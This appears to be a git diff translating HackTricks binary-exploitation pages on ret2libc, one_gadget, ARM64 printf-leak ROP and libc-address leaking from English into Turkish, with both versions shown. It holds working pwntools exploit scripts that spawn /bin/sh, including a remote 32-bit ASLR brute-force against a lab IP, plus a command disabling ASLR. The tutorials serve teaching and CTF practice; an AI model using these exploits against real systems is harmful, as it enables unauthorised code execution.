@ -2,103 +2,90 @@
{{#include ../../../banners/hacktricks-training.md}}
## **Basic Information**
## **Temel Bilgiler**
The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.
**Ret2Libc**'nin özü, bir saldırganın sağladığı shellcode'u yığın üzerinde çalıştırmak yerine, bir zayıf programın yürütme akışını paylaşılan bir kütüphanedeki (örneğin, **system**, **execve**, **strcpy**) bir işleve yönlendirmektir. Saldırgan, yığın üzerindeki dönüş adresini istenen kütüphane işlevine işaret edecek şekilde değiştiren bir yük oluşturur ve çağrı konvansiyonuna göre gerekli argümanların doğru bir şekilde ayarlandığından emin olur.
### **Example Steps (simplified)**
### **Örnek Adımlar (basitleştirilmiş)**
- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh)
- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function
- Çağrılacak işlevin adresini al (örneğin, system) ve çağrılacak komutu al (örneğin, /bin/sh)
- İlk argümanı komut dizesine işaret eden ve yürütme akışını işleve iletmek için bir ROP zinciri oluştur
## Finding the addresses
- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with:
## Adresleri Bulma
- Kullanılan `libc`'nin mevcut makineden olduğunu varsayarsak, bellekte nerede yükleneceğini bulmak için:
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
If you want to check if the ASLR is changing the address of libc you can do:
Eğer ASLR'nin libc'nin adresini değiştirip değiştirmediğini kontrol etmek istiyorsanız şunu yapabilirsiniz:
```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
```
- Knowing the libc used it's also possible to find the offset to the `system` function with:
- Kullanılan libc'yi bilmek, `system` fonksiyonuna olan ofseti bulmayı da mümkün kılar:
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with:
- Kullanılan libc'yi bilmek, `/bin/sh` fonksiyonuna olan ofseti bulmayı da mümkün kılar:
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
### gdb-peda / GEF Kullanımı
### Using gdb-peda / GEF
Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** :
Kullanılan libc'yi bilmek, **system** fonksiyonunun, **exit** fonksiyonunun ve **`/bin/sh`** dizesinin adresini almak için Peda veya GEF kullanmayı da mümkün kılar:
```bash
p system
p exit
find "/bin/sh"
```
### /proc/\<PID>/maps Kullanımı
### Using /proc/\<PID>/maps
Eğer süreç her konuştuğunuzda **çocuklar** oluşturuyorsa (ağ sunucusu) o dosyayı **okumayı** deneyin (muhtemelen root olmanız gerekecek).
If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root).
Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
Burada **libc'nin süreç içinde tam olarak nerede yüklü olduğunu** ve **her çocuğun süreç için nerede yükleneceğini** bulabilirsiniz.
![](<../../../images/image (853).png>)
In this case it is loaded in **0xb75dc000** (This will be the base address of libc)
Bu durumda **0xb75dc000** adresinde yüklenmiştir (Bu libc'nin temel adresi olacaktır).
## Unknown libc
## Bilinmeyen libc
It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used:
Bilinmeyen bir libc'nin yükleniyor olabileceği durumlar olabilir (çünkü erişiminiz olmayan bir sunucuda bulunabilir). Bu durumda, **bazı adresleri sızdırmak ve hangi libc** kütüphanesinin kullanıldığını bulmak için açığı kötüye kullanabilirsiniz:
{{#ref}}
rop-leaking-libc-address/
{{#endref}}
And you can find a pwntools template for this in:
Ve bunun için bir pwntools şablonunu burada bulabilirsiniz:
{{#ref}}
rop-leaking-libc-address/rop-leaking-libc-template.md
{{#endref}}
### Know libc with 2 offsets
### 2 ofset ile libc'yi bilmek
Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**.
[https://libc.blukat.me/](https://libc.blukat.me/) sayfasını kontrol edin ve libc içindeki **birkaç adres** kullanarak **kullanılan sürümü** öğrenin.
## Bypassing ASLR in 32 bits
## 32 bit'te ASLR'yi Aşmak
These brute-forcing attacks are **only useful for 32bit systems**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
Bu kaba kuvvet saldırıları **yalnızca 32 bit sistemler için** faydalıdır.
- Eğer istismar yerel ise, libc'nin temel adresini kaba kuvvetle bulmayı deneyebilirsiniz (32 bit sistemler için faydalıdır):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
- Uzak bir sunucuya saldırıyorsanız, **`usleep` `libc` fonksiyonunun adresini brute-force ile bulmayı** deneyebilirsiniz, argüman olarak 10 (örneğin) geçerek. Eğer bir noktada **sunucu yanıt vermek için 10s ekstra alıyorsa**, bu fonksiyonun adresini bulmuşsunuzdur.
## One Gadget
Execute a shell just jumping to **one** specific **address** in libc:
Sadece **bir** belirli **adrese** atlayarak bir shell çalıştırın:
{{#ref}}
one-gadget.md
{{#endref}}
## x86 Ret2lib Code Example
In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:
## x86 Ret2lib Kod Örneği
Bu örnekte ASLR brute-force kodun içine entegre edilmiştir ve savunmasız ikili dosya uzak bir sunucuda bulunmaktadır:
```python
from pwn import *
@ -106,60 +93,59 @@ c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
```
## x64 Ret2lib Kod Örneği
## x64 Ret2lib Code Example
Check the example from:
Aşağıdaki örneği kontrol edin:
{{#ref}}
../
{{#endref}}
## ARM64 Ret2lib Example
## ARM64 Ret2lib Örneği
In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated.
ARM64 durumunda, ret talimatı x30 kaydının işaret ettiği yere atlar, stack kaydının işaret ettiği yere değil. Bu yüzden biraz daha karmaşık.
Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones).
Ayrıca ARM64'te bir talimat, talimatın yaptığı şeyi yapar (talimatların ortasında atlamak ve onları yeni talimatlara dönüştürmek mümkün değildir).
Check the example from:
Aşağıdaki örneği kontrol edin:
{{#ref}}
ret2lib-+-printf-leak-arm64.md
{{#endref}}
## Ret-into-printf (or puts)
## Ret-into-printf (veya puts)
This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**.
Bu, belirli verileri argüman olarak yerleştirerek `printf`/`puts` çağrısı yaparak **işlemden bilgi sızdırmayı** sağlar. Örneğin, `puts`'un GOT'daki adresini bir `puts` çağrısında yerleştirmek, **`puts`'un bellek adresini sızdırır**.
## Ret2printf
This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible):
Bu, temel olarak bir **Ret2lib'i `printf` format dizeleri zafiyeti haline dönüştürmek için kötüye kullanmak** anlamına gelir; `ret2lib` kullanarak printf'i istismar etmek için değerlerle çağırmak (gereksiz gibi görünebilir ama mümkündür):
{{#ref}}
../../format-strings/
{{#endref}}
## Other Examples & references
## Diğer Örnekler ve referanslar
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- Ret2lib, given a leak to the address of a function in libc, using one gadget
- Ret2lib, libc'deki bir fonksiyonun adresine sızdırma verildiğinde, bir gadget kullanarak
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 bit, ASLR etkin ama PIE yok, ilk adım, puts'u çağırmak ve sızdırmak için kanaryanın 0x00 byte'ına kadar bir taşmayı doldurmaktır. Kanarya ile puts'un GOT'dan adresini sızdırmak için bir ROP gadget'ı oluşturulur ve `system('/bin/sh')` çağırmak için bir ROP gadget'ı.
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
- 64 bit, ASLR etkin, kanarya yok, ana fonksiyondan bir çocuk fonksiyonda stack overflow. Puts'un GOT'dan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı ve ardından bir gadget çağırır.
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget.
- 64 bit, pie yok, kanarya yok, relro yok, nx. Yazma fonksiyonunu kullanarak yazma (libc) adresini sızdırır ve bir gadget çağırır.
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`.
- Stack'ten kanaryayı sızdırmak için bir format dizesi kullanır ve `/bin/sh` adresi ile sisteme çağırmak için bir buffer overflow kullanır (GOT'dadır).
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
- 32 bit, relro yok, kanarya yok, nx, pie. Stack'ten libc ve heap adreslerini sızdırmak için kötü bir indeksleme kullanır. `system('/bin/sh')` çağırarak bir ret2lib yapmak için buffer overflow'u kötüye kullanır (bir kontrolü atlatmak için heap adresi gereklidir).
{{#include ../../../banners/hacktricks-training.md}}

20
src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md
View File

@ -2,36 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
[**One Gadget**](https://github.com/david942j/one_gadget), **system** ve **"/bin/sh"** kullanmak yerine bir shell elde etmeyi sağlar. **One Gadget**, libc kütüphanesi içinde sadece bir **adres** kullanarak bir shell elde etmenin bir yolunu bulur (`execve("/bin/sh")`).\
Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca aşılabilenler `[rsp+0x30] == NULL` gibi kısıtlamalardır. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir.
![](<../../../images/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded.
Belirtilen adrese One Gadget ile **`libc`'nin** yüklendiği temel adresi **eklemeniz** gerekiyor.
> [!TIP]
> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements).
> One Gadget, **Rastgele Yazma 2 Çalıştırma teknikleri** için **büyük bir yardım** sağlar ve yalnızca bir adres çağırmanız gerektiğinden **ROP** **zincirlerini** **basitleştirebilir** (ve gereksinimleri yerine getirmeniz yeterlidir).
### ARM64
The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**.
Github reposu, aracın **ARM64'ü desteklediğini** belirtmektedir, ancak Kali 2023.3'teki libc'de çalıştırıldığında **hiçbir gadget bulamamaktadır**.
## Angry Gadget
From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\
If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try!
[**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget)'dan: [OneGadget](https://github.com/david942j/one_gadget)'ten ilham alınarak yazılmış bu araç, `execve('/bin/sh', NULL, NULL)` komutunu çalıştıran gadget'lar için kısıtlamaları test etmek üzere [angr](https://github.com/angr/angr) kullanmaktadır.\
OneGadget'tan deneyecek gadget'larınız tükendiğinde, Angry Gadget karmaşık kısıtlamalarla denemek için çok daha fazlasını sunar!
```bash
pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
```
{{#include ../../../banners/hacktricks-training.md}}

118
src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
View File

@ -2,65 +2,58 @@
{{#include ../../../banners/hacktricks-training.md}}
## Ret2lib - NX bypass with ROP (no ASLR)
## Ret2lib - ROP ile NX atlatma (ASLR yok)
```c
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
printfleak();
bof();
}
```
Compile without canary:
Canary olmadan derleyin:
```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
### Ofset Bul
### Find offset
### x30 ofset
### x30 offset
Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
**`pattern create 200`** ile bir desen oluşturarak, bunu kullanıp **`pattern search $x30`** ile ofseti kontrol ettiğimizde ofsetin **`108`** (0x6c) olduğunu görebiliriz.
<figure><img src="../../../images/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**:
Dissassemble edilmiş ana fonksiyona baktığımızda, **`printf`**'ye doğrudan atlamak istediğimizi görebiliriz, bu da binary'nin yüklendiği yerden ofseti **`0x860`**'dir:
<figure><img src="../../../images/image (1219).png" alt=""><figcaption></figcaption></figure>
### Find system and `/bin/sh` string
### System ve `/bin/sh` dizesini bul
As the ASLR is disabled, the addresses are going to be always the same:
ASLR devre dışı olduğu için, adresler her zaman aynı olacak:
<figure><img src="../../../images/image (1222).png" alt=""><figcaption></figcaption></figure>
### Find Gadgets
### Gadget'leri Bul
We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
Using rooper an interesting gadget was found:
**`x0`**'da **`/bin/sh`** dizesinin adresine sahip olmamız ve **`system`**'i çağırmamız gerekiyor.
Rooper kullanarak ilginç bir gadget bulundu:
```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
```
This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
Bu alet, **`$sp + 0x18`** adresinden `x0`'ı yükleyecek ve ardından `sp`'den x29 ve x30 adreslerini yükleyip x30'a atlayacak. Bu nedenle, bu alet ile **ilk argümanı kontrol edebilir ve ardından system'a atlayabiliriz**.
### Exploit
```python
from pwn import *
from time import sleep
@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
@ -90,80 +83,72 @@ p.sendline(payload)
p.interactive()
p.close()
```
## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
## Ret2lib - NX, ASL & PIE atlatma, yığın üzerindeki printf leak'leri ile
```c
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
printfleak();
bof();
}
```
Compile **without canary**:
**canary** olmadan derleyin:
```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security
```
### PIE and ASLR but no canary
### PIE ve ASLR ama canary yok
- Round 1:
- Leak of PIE from stack
- Abuse bof to go back to main
- Stack'ten PIE sızıntısı
- Ana fonksiyona geri dönmek için bof kullanımı
- Round 2:
- Leak of libc from the stack
- ROP: ret2system
- Stack'ten libc sızıntısı
- ROP: ret2system
### Printf leaks
### Printf sızıntıları
Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
Printf çağrısından önce bir breakpoint ayarlayarak, stack'te binary'e geri dönmek için adresler ve ayrıca libc adreslerinin olduğunu görebiliriz:
<figure><img src="../../../images/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address:
Farklı offset'ler deneyerek, **`%21$p`** bir binary adresi sızdırabilir (PIE bypass) ve **`%25$p`** bir libc adresi sızdırabilir:
<figure><img src="../../../images/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.**
Sızdırılan libc adresini libc'nin temel adresinden çıkardığımızda, **sızdırılan adresin temel adresle olan **offset**'inin `0x49c40` olduğunu görebiliriz.**
### x30 offset
See the previous example as the bof is the same.
Önceki örneği inceleyin, çünkü bof aynıdır.
### Find Gadgets
### Gadget'ları Bul
Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
Using rooper another interesting gadget was found:
Önceki örnekte olduğu gibi, **`x0`**'da **`/bin/sh`** stringinin adresine sahip olmamız ve **`system`** çağrısı yapmamız gerekiyor.
Rooper kullanarak başka ilginç bir gadget bulundu:
```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
```
This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
Bu alet, **`$sp + 0x78`** adresinden `x0`'ı yükleyecek ve ardından `sp`'den x29 ve x30 adreslerini yükleyip x30'a atlayacak. Bu nedenle, bu alet ile **ilk argümanı kontrol edebilir ve ardından system'a atlayabiliriz**.
### Exploit
```python
from pwn import *
from time import sleep
@ -172,15 +157,15 @@ p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
@ -213,5 +198,4 @@ p.sendline(payload)
p.interactive()
```
{{#include ../../../banners/hacktricks-training.md}}

250
src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
View File

@ -1,84 +1,77 @@
# Leaking libc address with ROP
# ROP ile libc adresini sızdırma
{{#include ../../../../banners/hacktricks-training.md}}
## Quick Resume
## Hızlı Özeti
1. **Find** overflow **offset**
2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets
3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
4. With the library, **calculate the ROP and exploit it**
1. **Taşma** **ofsetini** **bul**
2. **POP_RDI** gadget'ını, `PUTS_PLT` ve `MAIN` gadget'larını **bul**
3. Önceki gadget'ları kullanarak puts veya başka bir libc fonksiyonunun **bellek adresini sızdır** ve **libc sürümünü bul** ([indirin](https://libc.blukat.me))
4. Kütüphane ile, **ROP'u hesapla ve istismar et**
## Other tutorials and binaries to practice
## Pratik yapmak için diğer eğitimler ve ikili dosyalar
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
Bu eğitim, bu eğitimde önerilen kod/ikili dosyayı istismar edecek: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Diğer yararlı eğitimler: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
## Code
Filename: `vuln.c`
## Kod
Dosya adı: `vuln.c`
```c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
return 0;
}
```
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - LIBC Sızıntı Şablonu
## ROP - Leaking LIBC template
Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
Exploit'i indirin ve onu savunmasız ikili dosya ile aynı dizine yerleştirin ve script'e gerekli verileri verin:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
## 1- Finding the offset
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
## 1- Ofseti Bulma
Şablon, exploit'e devam etmeden önce bir ofsete ihtiyaç duyar. Herhangi bir ofset sağlanırsa, onu bulmak için gerekli kodu çalıştıracaktır (varsayılan olarak `OFFSET = ""`):
```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
**Çalıştır** `python template.py` bir GDB konsolu açılacak ve program çökertilecektir. O **GDB konsolu** içinde `x/wx $rsp` komutunu çalıştırarak RIP'i geçecek olan **baytları** al. Son olarak, bir **python** konsolu kullanarak **offset**'i al:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../../images/image (1007).png>)
After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
Offset'u bulduktan sonra (bu durumda 40) bu değeri kullanarak şablon içindeki OFFSET değişkenini değiştirin.\
`OFFSET = "A" * 40`
Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
Başka bir yol ise: `pattern create 1000` -- _ret'ye kadar çalıştır_ -- `pattern seach $rsp` GEF'den kullanmaktır.
## 2- Finding Gadgets
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
## 2- Gadget'ları Bulma
Artık ikili dosya içinde ROP gadget'larını bulmamız gerekiyor. Bu ROP gadget'ları, kullanılan **libc**'yi bulmak için `puts` çağırmak ve daha sonra **son istismarı başlatmak** için faydalı olacaktır.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
`PUTS_PLT`, **puts** fonksiyonunu çağırmak için gereklidir.\
`MAIN_PLT`, bir etkileşimden sonra **main function**'ı tekrar çağırmak için gereklidir, böylece taşmayı **tekrar** **istismar** edebiliriz (sonsuz istismar turları). **Her ROP'un sonunda programı tekrar çağırmak için kullanılır.**\
**POP_RDI**, çağrılan fonksiyona bir **parametre** **geçmek** için gereklidir.
The `PUTS_PLT` is needed to call the **function puts**.\
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
The **POP_RDI** is needed to **pass** a **parameter** to the called function.
Bu adımda hiçbir şey çalıştırmanıza gerek yoktur, çünkü her şey pwntools tarafından yürütme sırasında bulunacaktır.
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
## 3- Finding libc library
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
## 3- libc kütüphanesini bulma
Artık hangi **libc** kütüphanesi sürümünün kullanıldığını bulma zamanı. Bunu yapmak için, **puts** fonksiyonunun bellek adresini **sızdıracağız** ve ardından bu adreste hangi **kütüphane sürümü** içinde puts sürümünün olduğunu **arama** yapacağız.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```
To do so, the most important line of the executed code is:
Bunu yapmak için, yürütülen kodun en önemli satırı şudur:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Bu, bazı baytları **RIP**'i **aşındırmak** mümkün olana kadar gönderecektir: `OFFSET`.\
Sonra, `POP_RDI` gadget'ının **adresini** ayarlayacak, böylece bir sonraki adres (`FUNC_GOT`) **RDI** kaydında saklanacaktır. Bunun nedeni, **puts**'u **çağırmak** ve ona `PUTS_GOT`'ın **adresini** geçmektir çünkü puts fonksiyonunun bellek içindeki adresi `PUTS_GOT` tarafından işaret edilen adreste saklanmaktadır.\
Bundan sonra, `PUTS_PLT` çağrılacak (içinde **RDI**'de `PUTS_GOT` ile) böylece puts, `PUTS_GOT` içindeki **içeriği** **okuyacak** (**puts fonksiyonunun bellek içindeki adresi**) ve **bunu yazdıracaktır**.\
Son olarak, **ana fonksiyon tekrar çağrılır** böylece taşmayı tekrar istismar edebiliriz.
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
